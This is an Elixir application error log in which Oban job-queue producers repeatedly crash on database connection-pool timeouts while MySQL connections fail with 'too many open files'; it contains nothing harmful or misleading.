[Sun Sep  6 00:59:00.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1067ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-06 00:58:47.239291Z], limit: 3, uuid: "5b2eea62-d84a-4f8f-a302-a2a4f14388fb", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:58:47.239296Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.77123>, refresh_timer: #Reference<0.2525715032.1099431938.77103>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:59:00.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 815ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-06 00:58:47.239195Z], limit: 10, uuid: "a20694c1-904b-48d3-9751-46f32d125ccf", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:58:47.239201Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.77124>, refresh_timer: #Reference<0.2525715032.1068498948.90801>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:59:00.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1028ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-06 00:58:47.238983Z], limit: 50, uuid: "9e4f1630-53c4-42f6-95d1-27eb800fb740", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:58:47.238989Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.77122>, refresh_timer: #Reference<0.2525715032.1099431938.77084>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:59:02.054000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:59:02.241000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:59:04.681000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:59:05.748000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:59:06.421000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:59:09.035000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:59:10.934000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:59:12.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 844ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-06 00:59:00.238671Z], limit: 20, uuid: "93f104eb-c09f-460a-ae9a-023203aeb429", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:59:00.238678Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.91072>, refresh_timer: #Reference<0.2525715032.1077673987.62523>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:59:12.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1039ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-06 00:59:00.239444Z], limit: 10, uuid: "b5856435-1790-48a9-9bde-71bae932f56f", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:59:00.239451Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.91070>, refresh_timer: #Reference<0.2525715032.1099431938.77336>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:59:12.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 850ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-06 00:59:00.238931Z], limit: 5, uuid: "da4ae30b-7f26-4124-8995-2acf88e7badc", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:59:00.238937Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.91073>, refresh_timer: #Reference<0.2525715032.1077673987.62534>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:59:12.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 839ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-06 00:59:00.239640Z], limit: 50, uuid: "4a5c733c-2cdb-4b0f-83d1-d74747c511a9", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:59:00.239646Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.91071>, refresh_timer: #Reference<0.2525715032.1099431938.77346>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:59:12.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1092ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-06 00:59:00.238806Z], limit: 3, uuid: "58c3e6fa-5b95-4886-a189-8c882500c8bc", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:59:00.238812Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.91069>, refresh_timer: #Reference<0.2525715032.1121189889.236230>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:59:12.238000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 886ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
